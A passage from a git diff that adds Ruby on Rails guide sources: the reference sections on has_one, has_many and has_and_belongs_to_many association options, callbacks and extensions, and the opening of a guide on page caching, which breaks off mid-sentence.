+:as+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>. + +h6. +:autosave+ + +If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object. + +h6. +:class_name+ + +If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is +Billing+, you'd set things up this way: + +<ruby> +class Supplier < ActiveRecord::Base + has_one :account, :class_name => "Billing" +end +</ruby> + +h6. +:conditions+ + +The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause). + +<ruby> +class Supplier < ActiveRecord::Base + has_one :account, :conditions => "confirmed = 1" +end +</ruby> + +h6. +:dependent+ + +If you set the +:dependent+ option to +:destroy+, then deleting this object will call the +destroy+ method on the associated object to delete that object. If you set the +:dependent+ option to +:delete+, then deleting this object will delete the associated object _without_ calling its +destroy+ method. If you set the +:dependent+ option to +:nullify+, then deleting this object will set the foreign key in the association object to +NULL+. + +h6. +:foreign_key+ + +By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: + +<ruby> +class Supplier < ActiveRecord::Base + has_one :account, :foreign_key => "supp_id" +end +</ruby> + +TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations. + +h6. +:include+ + +You can use the +:include+ option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models: + +<ruby> +class Supplier < ActiveRecord::Base + has_one :account +end + +class Account < ActiveRecord::Base + belongs_to :supplier + belongs_to :representative +end + +class Representative < ActiveRecord::Base + has_many :accounts +end +</ruby> + +If you frequently retrieve representatives directly from suppliers (+@supplier.account.representative+), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts: + +<ruby> +class Supplier < ActiveRecord::Base + has_one :account, :include => :representative +end + +class Account < ActiveRecord::Base + belongs_to :supplier + belongs_to :representative +end + +class Representative < ActiveRecord::Base + has_many :accounts +end +</ruby> + +h6. +:order+ + +The +:order+ option dictates the order in which associated objects will be received (in the syntax used by a SQL +ORDER BY+ clause). Because a +has_one+ association will only retrieve a single associated object, this option should not be needed. + +h6. +:primary_key+ + +By convention, Rails guesses that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. + +h6. +:readonly+ + +If you set the +:readonly+ option to +true+, then the associated object will be read-only when retrieved via the association. + +h6. +:select+ + +The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns. + +h6. +:source+ + +The +:source+ option specifies the source association name for a +has_one :through+ association. + +h6. +:source_type+ + +The +:source_type+ option specifies the source association type for a +has_one :through+ association that proceeds through a polymorphic association. + +h6. :through + +The +:through+ option specifies a join model through which to perform the query. +has_one :through+ associations were discussed in detail <a href="#the-has-one-through-association">earlier in this guide</a>. + +h6. +:validate+ + +If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved. + +h5. How To Know Whether There's an Associated Object? + +To know whether there's and associated object just check <tt><em>association</em>.nil?</tt>: + +<ruby> +if @supplier.account.nil? + @msg = "No account found for this supplier" +end +</ruby> + +h5. When are Objects Saved? + +When you assign an object to a +has_one+ association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too. + +If either of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled. + +If the parent object (the one declaring the +has_one+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved. They will automatically when the parent object is saved. + +If you want to assign an object to a +has_one+ association without saving the object, use the <tt><em>association</em>.build</tt> method. + +h4. +has_many+ Association Reference + +The +has_many+ association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class. + +h5. Methods Added + +When you declare a +has_many+ association, the declaring class automatically gains 13 methods related to the association: + +* <tt><em>collection</em>(force_reload = false)</tt> +* <tt><em>collection</em><<(object, ...)</tt> +* <tt><em>collection</em>.delete(object, ...)</tt> +* <tt><em>collection</em>=objects</tt> +* <tt><em>collection_singular</em>_ids</tt> +* <tt><em>collection_singular</em>_ids=ids</tt> +* <tt><em>collection</em>.clear</tt> +* <tt><em>collection</em>.empty?</tt> +* <tt><em>collection</em>.size</tt> +* <tt><em>collection</em>.find(...)</tt> +* <tt><em>collection</em>.exist?(...)</tt> +* <tt><em>collection</em>.build(attributes = {}, ...)</tt> +* <tt><em>collection</em>.create(attributes = {})</tt> + +In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to +has_many+, and <tt><em>collection_singular</em></tt> is replaced with the singularized version of that symbol.. For example, given the declaration: + +<ruby> +class Customer < ActiveRecord::Base + has_many :orders +end +</ruby> + +Each instance of the customer model will have these methods: + +<ruby> +orders(force_reload = false) +orders<<(object, ...) +orders.delete(object, ...) +orders=objects +order_ids +order_ids=ids +orders.clear +orders.empty? +orders.size +orders.find(...) +orders.exist?(...) +orders.build(attributes = {}, ...) +orders.create(attributes = {}) +</ruby> + +h6. <tt><em>collection</em>(force_reload = false)</tt> + +The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array. + +<ruby> +@orders = @customer.orders +</ruby> + +h6. <tt><em>collection</em><<(object, ...)</tt> + +The <tt><em>collection</em><<</tt> method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model. + +<ruby> +@customer.orders << @order1 +</ruby> + +h6. <tt><em>collection</em>.delete(object, ...)</tt> + +The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by setting their foreign keys to +NULL+. + +<ruby> +@customer.orders.delete(@order1) +</ruby> + +WARNING: Objects will be in addition destroyed if they're associated with +:dependent => :destroy+, and deleted if they're associated with +:dependent => :delete_all+. + + +h6. <tt><em>collection</em>=objects</tt> + +The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate. + +h6. <tt><em>collection_singular</em>_ids</tt> + +The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection. + +<ruby> +@order_ids = @customer.order_ids +</ruby> + +h6. <tt><em>collection_singular</em>_ids=ids</tt> + +The <tt><em>collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate. + +h6. <tt><em>collection</em>.clear</tt> + +The <tt><em>collection</em>.clear</tt> method removes every object from the collection. This destroys the associated objects if they are associated with +:dependent => :destroy+, deletes them directly from the database if +:dependent => :delete_all+, and otherwise sets their foreign keys to +NULL+. + +h6. <tt><em>collection</em>.empty?</tt> + +The <tt><em>collection</em>.empty?</tt> method returns +true+ if the collection does not contain any associated objects. + +<ruby> +<% if @customer.orders.empty? %> + No Orders Found +<% end %> +</ruby> + +h6. <tt><em>collection</em>.size</tt> + +The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection. + +<ruby> +@order_count = @customer.orders.size +</ruby> + +h6. <tt><em>collection</em>.find(...)</tt> + +The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+. + +<ruby> +@open_orders = @customer.orders.find(:all, :conditions => "open = 1") +</ruby> + +h6. <tt><em>collection</em>.exist?(...)</tt> + +The <tt><em>collection</em>.exist?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+. + +h6. <tt><em>collection</em>.build(attributes = {}, ...)</tt> + +The <tt><em>collection</em>.build</tt> method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved. + +<ruby> +@order = @customer.orders.build(:order_date => Time.now, + :order_number => "A12345") +</ruby> + +h6. <tt><em>collection</em>.create(attributes = {})</tt> + +The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object _will_ be saved (assuming that it passes any validations). + +<ruby> +@order = @customer.orders.create(:order_date => Time.now, + :order_number => "A12345") +</ruby> + +h5. Options for +has_many+ + +In many situations, you can use the default behavior for +has_many+ without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_many+ association. For example, an association with several options might look like this: + +<ruby> +class Customer < ActiveRecord::Base + has_many :orders, :dependent => :delete_all, :validate => :false +end +</ruby> + +The +has_many+ association supports these options: + +* +:as+ +* +:autosave+ +* +:class_name+ +* +:conditions+ +* +:counter_sql+ +* +:dependent+ +* +:extend+ +* +:finder_sql+ +* +:foreign_key+ +* +:group+ +* +:include+ +* +:limit+ +* +:offset+ +* +:order+ +* +:primary_key+ +* +:readonly+ +* +:select+ +* +:source+ +* +:source_type+ +* +:through+ +* +:uniq+ +* +:validate+ + +h6. +:as+ + +Setting the +:as+ option indicates that this is a polymorphic association, as discussed <a href="#polymorphic-associations">earlier in this guide</a>. + +h6. +:autosave+ + +If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object. + +h6. +:class_name+ + +If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is +Transaction+, you'd set things up this way: + +<ruby> +class Customer < ActiveRecord::Base + has_many :orders, :class_name => "Transaction" +end +</ruby> + +h6. +:conditions+ + +The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause). + +<ruby> +class Customer < ActiveRecord::Base + has_many :confirmed_orders, :class_name => "Order", + :conditions => "confirmed = 1" +end +</ruby> + +You can also set conditions via a hash: + +<ruby> +class Customer < ActiveRecord::Base + has_many :confirmed_orders, :class_name => "Order", + :conditions => { :confirmed => true } +end +</ruby> + +If you use a hash-style +:conditions+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@customer.confirmed_orders.create+ or +@customer.confirmed_orders.build+ will create orders where the confirmed column has the value +true+. + +h6. +:counter_sql+ + +Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself. + +NOTE: If you specify +:finder_sql+ but not +:counter_sql+, then the counter SQL will be generated by substituting +SELECT COUNT(*) FROM+ for the +SELECT ... FROM+ clause of your +:finder_sql+ statement. + +h6. +:dependent+ + +If you set the +:dependent+ option to +:destroy+, then deleting this object will call the +destroy+ method on the associated objects to delete those objects. If you set the +:dependent+ option to +:delete_all+, then deleting this object will delete the associated objects _without_ calling their +destroy+ method. If you set the +:dependent+ option to +:nullify+, then deleting this object will set the foreign key in the associated objects to +NULL+. + +NOTE: This option is ignored when you use the +:through+ option on the association. + +h6. +:extend+ + +The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>. + +h6. +:finder_sql+ + +Normally Rails automatically generates the proper SQL to fetch the association members. With the +:finder_sql+ option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary. + +h6. +:foreign_key+ + +By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: + +<ruby> +class Customer < ActiveRecord::Base + has_many :orders, :foreign_key => "cust_id" +end +</ruby> + +TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations. + +h6. +:group+ + +The +:group+ option supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL. + +<ruby> +class Customer < ActiveRecord::Base + has_many :line_items, :through => :orders, :group => "orders.id" +end +</ruby> + +h6. +:include+ + +You can use the +:include+ option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models: + +<ruby> +class Customer < ActiveRecord::Base + has_many :orders +end + +class Order < ActiveRecord::Base + belongs_to :customer + has_many :line_items +end + +class LineItem < ActiveRecord::Base + belongs_to :order +end +</ruby> + +If you frequently retrieve line items directly from customers (+@customer.orders.line_items+), then you can make your code somewhat more efficient by including line items in the association from customers to orders: + +<ruby> +class Customer < ActiveRecord::Base + has_many :orders, :include => :line_items +end + +class Order < ActiveRecord::Base + belongs_to :customer + has_many :line_items +end + +class LineItem < ActiveRecord::Base + belongs_to :order +end +</ruby> + +h6. +:limit+ + +The +:limit+ option lets you restrict the total number of objects that will be fetched through an association. + +<ruby> +class Customer < ActiveRecord::Base + has_many :recent_orders, :class_name => "Order", + :order => "order_date DESC", :limit => 100 +end +</ruby> + +h6. +:offset+ + +The +:offset+ option lets you specify the starting offset for fetching objects via an association. For example, if you set +:offset => 11+, it will skip the first 11 records. + +h6. +:order+ + +The +:order+ option dictates the order in which associated objects will be received (in the syntax used by a SQL +ORDER BY+ clause). + +<ruby> +class Customer < ActiveRecord::Base + has_many :orders, :order => "date_confirmed DESC" +end +</ruby> + +h6. +:primary_key+ + +By convention, Rails guesses that the column used to hold the primary key of the association is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. + +h6. +:readonly+ + +If you set the +:readonly+ option to +true+, then the associated objects will be read-only when retrieved via the association. + +h6. +:select+ + +The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns. + +WARNING: If you specify your own +:select+, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error. + +h6. +:source+ + +The +:source+ option specifies the source association name for a +has_many :through+ association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name. + +h6. +:source_type+ + +The +:source_type+ option specifies the source association type for a +has_many :through+ association that proceeds through a polymorphic association. + +h6. +:through+ + +The +:through+ option specifies a join model through which to perform the query. +has_many :through+ associations provide a way to implement many-to-many relationships, as discussed <a href="#the-has-many-through-association">earlier in this guide</a>. + +h6. +:uniq+ + +Specify the +:uniq => true+ option to remove duplicates from the collection. This is most useful in conjunction with the +:through+ option. + +h6. +:validate+ + +If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved. + +h5. When are Objects Saved? + +When you assign an object to a +has_many+ association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved. + +If any of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled. + +If the parent object (the one declaring the +has_many+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved. + +If you want to assign an object to a +has_many+ association without saving the object, use the <tt><em>collection</em>.build</tt> method. + +h4. +has_and_belongs_to_many+ Association Reference + +The +has_and_belongs_to_many+ association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes. + +h5. Methods Added + +When you declare a +has_and_belongs_to_many+ association, the declaring class automatically gains 13 methods related to the association: + +* <tt><em>collection</em>(force_reload = false)</tt> +* <tt><em>collection</em><<(object, ...)</tt> +* <tt><em>collection</em>.delete(object, ...)</tt> +* <tt><em>collection</em>=objects</tt> +* <tt><em>collection_singular</em>_ids</tt> +* <tt><em>collection_singular</em>_ids=ids</tt> +* <tt><em>collection</em>.clear</tt> +* <tt><em>collection</em>.empty?</tt> +* <tt><em>collection</em>.size</tt> +* <tt><em>collection</em>.find(...)</tt> +* <tt><em>collection</em>.exist?(...)</tt> +* <tt><em>collection</em>.build(attributes = {})</tt> +* <tt><em>collection</em>.create(attributes = {})</tt> + +In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to +has_and_belongs_to_many+, and <tt><em>collection_singular</em></tt> is replaced with the singularized version of that symbol.. For example, given the declaration: + +<ruby> +class Part < ActiveRecord::Base + has_and_belongs_to_many :assemblies +end +</ruby> + +Each instance of the part model will have these methods: + +<ruby> +assemblies(force_reload = false) +assemblies<<(object, ...) +assemblies.delete(object, ...) +assemblies=objects +assembly_ids +assembly_ids=ids +assemblies.clear +assemblies.empty? +assemblies.size +assemblies.find(...) +assemblies.exist?(...) +assemblies.build(attributes = {}, ...) +assemblies.create(attributes = {}) +</ruby> + +h6. Additional Column Methods + +If the join table for a +has_and_belongs_to_many+ association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes. + +WARNING: The use of extra attributes on the join table in a +has_and_belongs_to_many+ association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a +has_many :through+ association instead of +has_and_belongs_to_many+. + + +h6. <tt><em>collection</em>(force_reload = false)</tt> + +The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array. + +<ruby> +@assemblies = @part.assemblies +</ruby> + +h6. <tt><em>collection</em><<(object, ...)</tt> + +The <tt><em>collection</em><<</tt> method adds one or more objects to the collection by creating records in the join table. + +<ruby> +@part.assemblies << @assembly1 +</ruby> + +NOTE: This method is aliased as <tt><em>collection</em>.concat</tt> and <tt><em>collection</em>.push</tt>. + +h6. <tt><em>collection</em>.delete(object, ...)</tt> + +The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects. + +<ruby> +@part.assemblies.delete(@assembly1) +</ruby> + +h6. <tt><em>collection</em>=objects</tt> + +The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate. + +h6. <tt><em>collection_singular</em>_ids</tt> + +The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection. + +<ruby> +@assembly_ids = @part.assembly_ids +</ruby> + +h6. <tt><em>collection_singular</em>_ids=ids</tt> + +The <tt><em>collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate. + +h6. <tt><em>collection</em>.clear</tt> + +The <tt><em>collection</em>.clear</tt> method removes every object from the collection by deleting the rows from the joining table. This does not destroy the associated objects. + +h6. <tt><em>collection</em>.empty?</tt> + +The <tt><em>collection</em>.empty?</tt> method returns +true+ if the collection does not contain any associated objects. + +<ruby> +<% if @part.assemblies.empty? %> + This part is not used in any assemblies +<% end %> +</ruby> + +h6. <tt><em>collection</em>.size</tt> + +The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection. + +<ruby> +@assembly_count = @part.assemblies.size +</ruby> + +h6. <tt><em>collection</em>.find(...)</tt> + +The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+. It also adds the additional condition that the object must be in the collection. + +<ruby> +@new_assemblies = @part.assemblies.find(:all, + :conditions => ["created_at > ?", 2.days.ago]) +</ruby> + +h6. <tt><em>collection</em>.exist?(...)</tt> + +The <tt><em>collection</em>.exist?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+. + +h6. <tt><em>collection</em>.build(attributes = {})</tt> + +The <tt><em>collection</em>.build</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will _not_ yet be saved. + +<ruby> +@assembly = @part.assemblies.build( + {:assembly_name => "Transmission housing"}) +</ruby> + +h6. <tt><em>collection</em>.create(attributes = {})</tt> + +The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and the associated object _will_ be saved (assuming that it passes any validations). + +<ruby> +@assembly = @part.assemblies.create( + {:assembly_name => "Transmission housing"}) +</ruby> + +h5. Options for +has_and_belongs_to_many+ + +In many situations, you can use the default behavior for +has_and_belongs_to_many+ without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_and_belongs_to_many+ association. For example, an association with several options might look like this: + +<ruby> +class Parts < ActiveRecord::Base + has_and_belongs_to_many :assemblies, :uniq => true, + :read_only => true +end +</ruby> + +The +has_and_belongs_to_many+ association supports these options: + +* +:association_foreign_key+ +* +:autosave+ +* +:class_name+ +* +:conditions+ +* +:counter_sql+ +* +:delete_sql+ +* +:extend+ +* +:finder_sql+ +* +:foreign_key+ +* +:group+ +* +:include+ +* +:insert_sql+ +* +:join_table+ +* +:limit+ +* +:offset+ +* +:order+ +* +:readonly+ +* +:select+ +* +:uniq+ +* +:validate+ + +h6. +:association_foreign_key+ + +By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix +_id+ added. The +:association_foreign_key+ option lets you set the name of the foreign key directly: + +TIP: The +:foreign_key+ and +:association_foreign_key+ options are useful when setting up a many-to-many self-join. For example: + +<ruby> +class User < ActiveRecord::Base + has_and_belongs_to_many :friends, :class_name => "User", + :foreign_key => "this_user_id", + :association_foreign_key => "other_user_id" +end +</ruby> + +h6. +:autosave+ + +If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object. + +h6. +:class_name+ + +If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is +Gadget+, you'd set things up this way: + +<ruby> +class Parts < ActiveRecord::Base + has_and_belongs_to_many :assemblies, :class_name => "Gadget" +end +</ruby> + +h6. +:conditions+ + +The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause). + +<ruby> +class Parts < ActiveRecord::Base + has_and_belongs_to_many :assemblies, + :conditions => "factory = 'Seattle'" +end +</ruby> + +You can also set conditions via a hash: + +<ruby> +class Parts < ActiveRecord::Base + has_and_belongs_to_many :assemblies, + :conditions => { :factory => 'Seattle' } +end +</ruby> + +If you use a hash-style +:conditions+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@parts.assemblies.create+ or +@parts.assemblies.build+ will create orders where the +factory+ column has the value "Seattle". + +h6. +:counter_sql+ + +Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself. + +NOTE: If you specify +:finder_sql+ but not +:counter_sql+, then the counter SQL will be generated by substituting +SELECT COUNT(*) FROM+ for the +SELECT ... FROM+ clause of your +:finder_sql+ statement. + +h6. +:delete_sql+ + +Normally Rails automatically generates the proper SQL to remove links between the associated classes. With the +:delete_sql+ option, you can specify a complete SQL statement to delete them yourself. + +h6. +:extend+ + +The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>. + +h6. +:finder_sql+ + +Normally Rails automatically generates the proper SQL to fetch the association members. With the +:finder_sql+ option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary. + +h6. +:foreign_key+ + +By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: + +<ruby> +class User < ActiveRecord::Base + has_and_belongs_to_many :friends, :class_name => "User", + :foreign_key => "this_user_id", + :association_foreign_key => "other_user_id" +end +</ruby> + +h6. +:group+ + +The +:group+ option supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL. + +<ruby> +class Parts < ActiveRecord::Base + has_and_belongs_to_many :assemblies, :group => "factory" +end +</ruby> + +h6. +:include+ + +You can use the +:include+ option to specify second-order associations that should be eager-loaded when this association is used. + +h6. +:insert_sql+ + +Normally Rails automatically generates the proper SQL to create links between the associated classes. With the +:insert_sql+ option, you can specify a complete SQL statement to insert them yourself. + +h6. +:join_table+ + +If the default name of the join table, based on lexical ordering, is not what you want, you can use the +:join_table+ option to override the default. + +h6. +:limit+ + +The +:limit+ option lets you restrict the total number of objects that will be fetched through an association. + +<ruby> +class Parts < ActiveRecord::Base + has_and_belongs_to_many :assemblies, :order => "created_at DESC", + :limit => 50 +end +</ruby> + +h6. +:offset+ + +The +:offset+ option lets you specify the starting offset for fetching objects via an association. For example, if you set +:offset => 11+, it will skip the first 11 records. + +h6. +:order+ + +The +:order+ option dictates the order in which associated objects will be received (in the syntax used by a SQL +ORDER BY+ clause). + +<ruby> +class Parts < ActiveRecord::Base + has_and_belongs_to_many :assemblies, :order => "assembly_name ASC" +end +</ruby> + +h6. +:readonly+ + +If you set the +:readonly+ option to +true+, then the associated objects will be read-only when retrieved via the association. + +h6. +:select+ + +The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns. + +h6. +:uniq+ + +Specify the +:uniq => true+ option to remove duplicates from the collection. + +h6. +:validate+ + +If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved. + +h5. When are Objects Saved? + +When you assign an object to a +has_and_belongs_to_many+ association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved. + +If any of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled. + +If the parent object (the one declaring the +has_and_belongs_to_many+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved. + +If you want to assign an object to a +has_and_belongs_to_many+ association without saving the object, use the <tt><em>collection</em>.build</tt> method. + +h4. Association Callbacks + +Normal callbacks hook into the lifecycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a +:before_save+ callback to cause something to happen just before an object is saved. + +Association callbacks are similar to normal callbacks, but they are triggered by events in the lifecycle of a collection. There are four available association callbacks: + +* +before_add+ +* +after_add+ +* +before_remove+ +* +after_remove+ + +You define association callbacks by adding options to the association declaration. For example: + +<ruby> +class Customer < ActiveRecord::Base + has_many :orders, :before_add => :check_credit_limit + + def check_credit_limit(order) + ... + end +end +</ruby> + +Rails passes the object being added or removed to the callback. + +You can stack callbacks on a single event by passing them as an array: + +<ruby> +class Customer < ActiveRecord::Base + has_many :orders, + :before_add => [:check_credit_limit, :calculate_shipping_charges] + + def check_credit_limit(order) + ... + end + + def calculate_shipping_charges(order) + ... + end +end +</ruby> + +If a +before_add+ callback throws an exception, the object does not get added to the collection. Similarly, if a +before_remove+ callback throws an exception, the object does not get removed from the collection. + +h4. Association Extensions + +You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example: + +<ruby> +class Customer < ActiveRecord::Base + has_many :orders do + def find_by_order_prefix(order_number) + find_by_region_id(order_number[0..2]) + end + end +end +</ruby> + +If you have an extension that should be shared by many associations, you can use a named extension module. For example: + +<ruby> +module FindRecentExtension + def find_recent + find(:all, :conditions => ["created_at > ?", 5.days.ago]) + end +end + +class Customer < ActiveRecord::Base + has_many :orders, :extend => FindRecentExtension +end + +class Supplier < ActiveRecord::Base + has_many :deliveries, :extend => FindRecentExtension +end +</ruby> + +To include more than one extension module in a single association, specify an array of modules: + +<ruby> +class Customer < ActiveRecord::Base + has_many :orders, + :extend => [FindRecentExtension, FindActiveExtension] +end +</ruby> + +Extensions can refer to the internals of the association proxy using these three accessors: + +* +proxy_owner+ returns the object that the association is a part of. +* +proxy_reflection+ returns the reflection object that describes the association. +* +proxy_target+ returns the associated object for +belongs_to+ or +has_one+, or the collection of associated objects for +has_many+ or +has_and_belongs_to_many+. + +h3. Changelog + +"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/11 + +* February 1, 2009: Added +:autosave+ option "Mike Gunderloy":credits.html#mgunderloy +* September 28, 2008: Corrected +has_many :through+ diagram, added polymorphic diagram, some reorganization by "Mike Gunderloy":credits.html#mgunderloy . First release version. +* September 22, 2008: Added diagrams, misc. cleanup by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) +* September 14, 2008: initial version by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) diff --git a/railties/guides/source/caching_with_rails.textile b/railties/guides/source/caching_with_rails.textile new file mode 100644 index 0000000000..f1ad7b820d --- /dev/null +++ b/railties/guides/source/caching_with_rails.textile @@ -0,0 +1,516 @@ +h2. Caching with Rails: An overview + +Everyone caches. This guide will teach you what you need to know about +avoiding that expensive round-trip to your database and returning what you +need to return to those hungry web clients in the shortest time possible. + +After reading this guide, you should be able to use and configure: + +* Page, action, and fragment caching +* Sweepers +* Alternative cache stores +* Conditional GET support + +endprologue. + +h3. Basic Caching + +This is an introduction to the three types of caching techniques that Rails +provides by default without the use of any third party plugins. + +To start playing with testing you'll want to ensure that ++config.action_controller.perform_caching+ is set +to +true+ if you're running in development mode. This flag is normally set in the +corresponding config/environments/*.rb and caching is disabled by default + for development and test, and enabled for production. + +<ruby> +config.action_controller.perform_caching = true +</ruby> + +h4. Page Caching + +Page caching is a Rails mechanism which allows the request for a generated +page to be fulfilled by the webserver (i.e. apache or nginx), without ever having to go through the +Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be +applied to every situation (such as pages that need authentication) and since +the webserver is literally just serving a file from the filesystem, cache +expiration is an issue that needs to be dealt with. + +So, how do you enable this super-fast cache behavior? Simple, let's say you +have a controller called +ProductsController+ and an +index+ action that lists all +the products + +<ruby> +class ProductsController < ActionController + + caches_page :index + + def index + @products = Products.all + end + +end +</ruby> + +The first time anyone requests +/products+, Rails will generate a file +called +products.html+ and the webserver will then look for that file before it +passes the next request for +/products+ to your Rails application. + +By default, the page cache directory is set to +Rails.public_path+ (which is +usually set to the +public+ folder) and this can be configured by +changing the configuration setting +config.action_controller.page_cache_directory+. +Changing the default from +public+ helps avoid naming conflicts, since you may +want to put other static html in +public+, but changing this will require web +server reconfiguration to let the web server know where to serve the cached +files from. + +The Page Caching mechanism will automatically add a +.html+ extension to +requests for pages that do not have an extension to make it easy for the +webserver to find those pages and this can be configured by changing the +configuration setting +config.action_controller.page_cache_extension+. + +In order to expire this page when a new product is added we could extend our +example controller like this: + +<ruby> +class ProductsController < ActionController + + caches_page :index + + def index + @products = Products.all + end + + def create + expire_page :action => :index + end + +end +</ruby> + +If you want a more complicated expiration scheme, you can use cache sweepers +to expire cached objects when things change. This is covered in the section on Sweepers. + +Note: Page caching ignores all parameters. For example +/products?page=1+ will be written out to the filesystem as +products.html+ with no reference to the +page+ parameter. Thus, if someone requests +/products?page=2+ 